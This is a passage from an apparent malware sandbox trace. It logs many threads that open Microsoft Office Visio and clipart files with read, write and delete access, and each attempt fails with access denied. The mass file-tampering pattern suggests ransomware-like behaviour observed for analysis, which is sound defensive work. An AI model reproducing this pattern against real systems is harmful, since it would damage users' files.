SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_M.VSS", dwFileAttributes=0x20) returned 0 [0207.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.943] GetLastError () returned 0x5 [0207.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_M.VSS", dwFileAttributes=0x20) returned 0 [0207.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7588) returned 1 Thread: id = 9643 os_tid = 0x13a4 [0204.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_u.vss")) returned 0x20 [0207.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_U.VSS", dwFileAttributes=0x20) returned 0 [0207.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.944] GetLastError () returned 0x5 [0207.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_U.VSS", dwFileAttributes=0x20) returned 0 [0207.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7628) returned 1 Thread: id = 9664 os_tid = 0x1444 [0204.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\server_u.vss")) returned 0x20 [0207.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_U.VSS", dwFileAttributes=0x20) returned 0 [0207.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\server_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.936] GetLastError () returned 0x5 [0207.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SERVER_U.VSS", dwFileAttributes=0x20) returned 0 [0207.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a80c8) returned 1 Thread: id = 9665 os_tid = 0x1cd4 [0204.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpmch_m.vss")) returned 0x20 [0207.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_M.VSS", dwFileAttributes=0x20) returned 0 [0207.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpmch_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.937] GetLastError () returned 0x5 [0207.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_M.VSS", dwFileAttributes=0x20) returned 0 [0207.937] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a8168) returned 1 Thread: id = 9699 os_tid = 0x18b0 [0204.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0209.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF", dwFileAttributes=0x20) returned 0 [0209.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.546] GetLastError () returned 0x5 [0209.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF", dwFileAttributes=0x20) returned 0 [0209.546] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd060) returned 1 Thread: id = 9700 os_tid = 0x18b4 [0204.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0209.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF", dwFileAttributes=0x20) returned 0 [0209.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.547] GetLastError () returned 0x5 [0209.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF", dwFileAttributes=0x20) returned 0 [0209.547] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd0e8) returned 1 Thread: id = 9701 os_tid = 0x1910 [0204.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0209.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF", dwFileAttributes=0x20) returned 0 [0209.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.548] GetLastError () returned 0x5 [0209.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF", dwFileAttributes=0x20) returned 0 [0209.548] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd170) returned 1 Thread: id = 9725 os_tid = 0xb04 [0204.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0209.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF", dwFileAttributes=0x20) returned 0 [0209.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.513] GetLastError () returned 0x5 [0209.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF", dwFileAttributes=0x20) returned 0 [0209.514] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5138) returned 1 Thread: id = 9726 os_tid = 0xa0c [0204.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0209.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF", dwFileAttributes=0x20) returned 0 [0209.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.419] GetLastError () returned 0x5 [0209.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF", dwFileAttributes=0x20) returned 0 [0209.420] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fde30) returned 1 Thread: id = 9763 os_tid = 0x118c [0204.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELINE.MPP" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeline.mpp")) returned 0x20 [0207.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELINE.MPP", dwFileAttributes=0x20) returned 0 [0207.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELINE.MPP" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeline.mpp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.891] GetLastError () returned 0x5 [0207.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELINE.MPP", dwFileAttributes=0x20) returned 0 [0207.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76318) returned 1 Thread: id = 9764 os_tid = 0x1190 [0204.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vss")) returned 0x20 [0207.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VSS", dwFileAttributes=0x20) returned 0 [0207.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.892] GetLastError () returned 0x5 [0207.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VSS", dwFileAttributes=0x20) returned 0 [0207.892] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c763b8) returned 1 Thread: id = 9765 os_tid = 0x119c [0204.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vst")) returned 0x20 [0207.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VST", dwFileAttributes=0x20) returned 0 [0207.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\timeln_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.893] GetLastError () returned 0x5 [0207.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\TIMELN_M.VST", dwFileAttributes=0x20) returned 0 [0207.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76458) returned 1 Thread: id = 9911 os_tid = 0x1094 [0205.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 0x20 [0211.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF", dwFileAttributes=0x20) returned 0 [0211.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.232] GetLastError () returned 0x5 [0212.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF", dwFileAttributes=0x20) returned 0 [0212.956] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c1f8) returned 1 Thread: id = 9932 os_tid = 0x1d5c [0205.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 0x20 [0211.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF", dwFileAttributes=0x20) returned 0 [0211.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.274] GetLastError () returned 0x5 [0212.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF", dwFileAttributes=0x20) returned 0 [0212.750] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab478) returned 1 Thread: id = 9933 os_tid = 0x1d60 [0205.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 0x20 [0209.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF", dwFileAttributes=0x20) returned 0 [0209.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0210.078] GetLastError () returned 0x5 [0210.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF", dwFileAttributes=0x20) returned 0 [0210.078] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab500) returned 1 Thread: id = 9934 os_tid = 0x9e8 [0205.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 0x20 [0211.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF", dwFileAttributes=0x20) returned 0 [0211.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.273] GetLastError () returned 0x5 [0212.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF", dwFileAttributes=0x20) returned 0 [0212.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab588) returned 1 Thread: id = 9935 os_tid = 0x1848 [0205.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 0x20 [0211.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF", dwFileAttributes=0x20) returned 0 [0211.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.273] GetLastError () returned 0x5 [0212.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF", dwFileAttributes=0x20) returned 0 [0212.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab610) returned 1 Thread: id = 9936 os_tid = 0x1b50 [0205.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf")) returned 0x20 [0211.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF", dwFileAttributes=0x20) returned 0 [0211.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.273] GetLastError () returned 0x5 [0212.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF", dwFileAttributes=0x20) returned 0 [0212.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab698) returned 1 Thread: id = 9937 os_tid = 0x1348 [0205.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 0x20 [0211.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF", dwFileAttributes=0x20) returned 0 [0211.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.273] GetLastError () returned 0x5 [0212.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF", dwFileAttributes=0x20) returned 0 [0212.755] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab720) returned 1 Thread: id = 9938 os_tid = 0x1890 [0205.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 0x20 [0211.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF", dwFileAttributes=0x20) returned 0 [0211.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.272] GetLastError () returned 0x5 [0212.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF", dwFileAttributes=0x20) returned 0 [0212.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab7a8) returned 1 Thread: id = 9939 os_tid = 0x1934 [0205.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 0x20 [0211.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF", dwFileAttributes=0x20) returned 0 [0211.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.272] GetLastError () returned 0x5 [0212.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF", dwFileAttributes=0x20) returned 0 [0212.757] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab830) returned 1 Thread: id = 9940 os_tid = 0x1a18 [0205.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 0x20 [0211.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF", dwFileAttributes=0x20) returned 0 [0211.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.272] GetLastError () returned 0x5 [0212.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF", dwFileAttributes=0x20) returned 0 [0212.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab8b8) returned 1 Thread: id = 9941 os_tid = 0x1a1c [0205.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 0x20 [0211.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF", dwFileAttributes=0x20) returned 0 [0211.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.271] GetLastError () returned 0x5 [0212.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF", dwFileAttributes=0x20) returned 0 [0212.760] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab940) returned 1 Thread: id = 9942 os_tid = 0x1e38 [0205.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 0x20 [0211.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF", dwFileAttributes=0x20) returned 0 [0211.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.271] GetLastError () returned 0x5 [0212.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF", dwFileAttributes=0x20) returned 0 [0212.761] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab9c8) returned 1 Thread: id = 9943 os_tid = 0x1e40 [0205.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 0x20 [0211.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF", dwFileAttributes=0x20) returned 0 [0211.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.271] GetLastError () returned 0x5 [0212.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF", dwFileAttributes=0x20) returned 0 [0212.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aba50) returned 1 Thread: id = 9944 os_tid = 0x1e44 [0205.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 0x20 [0211.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF", dwFileAttributes=0x20) returned 0 [0211.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0212.238] GetLastError () returned 0x5 [0212.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF", 